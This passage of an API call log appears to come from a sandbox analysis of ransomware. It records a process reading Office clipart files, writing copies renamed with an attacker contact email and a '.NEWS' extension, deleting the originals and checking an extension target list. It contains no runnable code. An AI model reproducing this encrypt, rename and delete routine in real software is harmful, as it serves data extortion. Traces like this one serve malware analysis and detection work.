nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7e0, lpOverlapped=0x0) returned 1 [0084.694] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.694] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.694] SetEndOfFile (hFile=0x338) returned 1 [0084.695] CloseHandle (hObject=0x338) returned 1 [0084.695] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.695] SetEndOfFile (hFile=0x39c) returned 1 [0084.695] CloseHandle (hObject=0x39c) returned 1 [0084.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01168_.wmf")) returned 1 [0084.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.696] lstrlenW (lpString=".doc") returned 4 [0084.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.696] lstrlenW (lpString=".docx") returned 5 [0084.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.696] lstrlenW (lpString=".pdf") returned 4 [0084.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.696] lstrlenW (lpString=".xls") returned 4 [0084.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.696] lstrlenW (lpString=".xlsx") returned 5 [0084.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.696] lstrlenW (lpString=".ppt") returned 4 [0084.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.696] lstrlenW (lpString=".zip") returned 4 [0084.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.696] lstrlenW (lpString=".rar") returned 4 [0084.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.696] lstrlenW (lpString=".bz2") returned 4 [0084.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.696] lstrlenW (lpString=".7z") returned 3 [0084.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.697] lstrlenW (lpString=".dbf") returned 4 [0084.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.697] lstrlenW (lpString=".1cd") returned 4 [0084.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.697] lstrlenW (lpString=".jpg") returned 4 [0084.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.697] lstrlenW (lpString=".doc") returned 4 [0084.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString=".docx") returned 5 [0084.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.697] lstrlenW (lpString=".pdf") returned 4 [0084.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString=".xls") returned 4 [0084.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.697] lstrlenW (lpString=".xlsx") returned 5 [0084.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.697] lstrlenW (lpString=".ppt") returned 4 [0084.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.697] lstrlenW (lpString=".zip") returned 4 [0084.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.697] lstrlenW (lpString=".rar") returned 4 [0084.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString=".bz2") returned 4 [0084.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.697] lstrlenW (lpString=".7z") returned 3 [0084.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.697] lstrlenW (lpString=".dbf") returned 4 [0084.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.698] lstrlenW (lpString=".1cd") returned 4 [0084.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0084.698] lstrlenW (lpString=".jpg") returned 4 [0084.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.698] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.698] lstrlenW (lpString="DD01178_.WMF") returned 12 [0084.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.699] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3796) returned 1 [0084.699] CloseHandle (hObject=0x39c) returned 1 [0084.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0084.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.699] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.699] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.700] GetLastError () returned 0x0 [0084.700] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xed4, lpOverlapped=0x0) returned 1 [0084.701] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xee0, lpOverlapped=0x0) returned 1 [0084.706] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.706] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.706] SetEndOfFile (hFile=0x338) returned 1 [0084.706] CloseHandle (hObject=0x338) returned 1 [0084.706] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.706] SetEndOfFile (hFile=0x39c) returned 1 [0084.707] CloseHandle (hObject=0x39c) returned 1 [0084.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0084.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.711] lstrlenW (lpString=".doc") returned 4 [0084.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.711] lstrlenW (lpString=".docx") returned 5 [0084.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.711] lstrlenW (lpString=".pdf") returned 4 [0084.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.711] lstrlenW (lpString=".xls") returned 4 [0084.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.711] lstrlenW (lpString=".xlsx") returned 5 [0084.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.711] lstrlenW (lpString=".ppt") returned 4 [0084.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.711] lstrlenW (lpString=".zip") returned 4 [0084.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.711] lstrlenW (lpString=".rar") returned 4 [0084.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.711] lstrlenW (lpString=".bz2") returned 4 [0084.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.711] lstrlenW (lpString=".7z") returned 3 [0084.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.711] lstrlenW (lpString=".dbf") returned 4 [0084.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.711] lstrlenW (lpString=".1cd") returned 4 [0084.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.711] lstrlenW (lpString=".jpg") returned 4 [0084.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.712] lstrlenW (lpString=".doc") returned 4 [0084.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString=".docx") returned 5 [0084.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.712] lstrlenW (lpString=".pdf") returned 4 [0084.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString=".xls") returned 4 [0084.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.712] lstrlenW (lpString=".xlsx") returned 5 [0084.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.712] lstrlenW (lpString=".ppt") returned 4 [0084.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.712] lstrlenW (lpString=".zip") returned 4 [0084.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.712] lstrlenW (lpString=".rar") returned 4 [0084.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString=".bz2") returned 4 [0084.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString=".7z") returned 3 [0084.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.712] lstrlenW (lpString=".dbf") returned 4 [0084.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.712] lstrlenW (lpString=".1cd") returned 4 [0084.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0084.712] lstrlenW (lpString=".jpg") returned 4 [0084.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.713] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.713] lstrlenW (lpString="DD01179_.WMF") returned 12 [0084.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.713] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2024) returned 1 [0084.713] CloseHandle (hObject=0x39c) returned 1 [0084.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0084.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.714] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.714] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.714] GetLastError () returned 0x0 [0084.714] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7e8, lpOverlapped=0x0) returned 1 [0084.715] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0084.716] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0084.717] SetEndOfFile (hFile=0x338) returned 1 [0084.717] CloseHandle (hObject=0x338) returned 1 [0084.717] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.717] SetEndOfFile (hFile=0x39c) returned 1 [0084.718] CloseHandle (hObject=0x39c) returned 1 [0084.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0084.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.718] lstrlenW (lpString=".doc") returned 4 [0084.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.718] lstrlenW (lpString=".docx") returned 5 [0084.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.718] lstrlenW (lpString=".pdf") returned 4 [0084.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.718] lstrlenW (lpString=".xls") returned 4 [0084.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.718] lstrlenW (lpString=".xlsx") returned 5 [0084.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.718] lstrlenW (lpString=".ppt") returned 4 [0084.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.719] lstrlenW (lpString=".zip") returned 4 [0084.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.719] lstrlenW (lpString=".rar") returned 4 [0084.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString=".bz2") returned 4 [0084.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString=".7z") returned 3 [0084.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.719] lstrlenW (lpString=".dbf") returned 4 [0084.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.719] lstrlenW (lpString=".1cd") returned 4 [0084.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.719] lstrlenW (lpString=".jpg") returned 4 [0084.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.719] lstrlenW (lpString=".doc") returned 4 [0084.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString=".docx") returned 5 [0084.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.719] lstrlenW (lpString=".pdf") returned 4 [0084.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString=".xls") returned 4 [0084.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.719] lstrlenW (lpString=".xlsx") returned 5 [0084.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.719] lstrlenW (lpString=".ppt") returned 4 [0084.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.719] lstrlenW (lpString=".zip") returned 4 [0084.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.720] lstrlenW (lpString=".rar") returned 4 [0084.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.720] lstrlenW (lpString=".bz2") returned 4 [0084.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.720] lstrlenW (lpString=".7z") returned 3 [0084.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.720] lstrlenW (lpString=".dbf") returned 4 [0084.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.720] lstrlenW (lpString=".1cd") returned 4 [0084.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68 [0084.720] lstrlenW (lpString=".jpg") returned 4 [0084.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.720] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.720] lstrlenW (lpString="DD01180_.WMF") returned 12 [0084.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.721] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2084) returned 1 [0084.721] CloseHandle (hObject=0x39c) returned 1 [0084.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0084.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0084.721] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.721] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0084.722] GetLastError () returned 0x0 [0084.722] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x824, lpOverlapped=0x0) returned 1 [0084.723] WriteFile (in: hFile=0x338, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x830, lpOverlapped=0x0) returned 1 [0084.724] ReadFile (in: hFile=0x39c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: 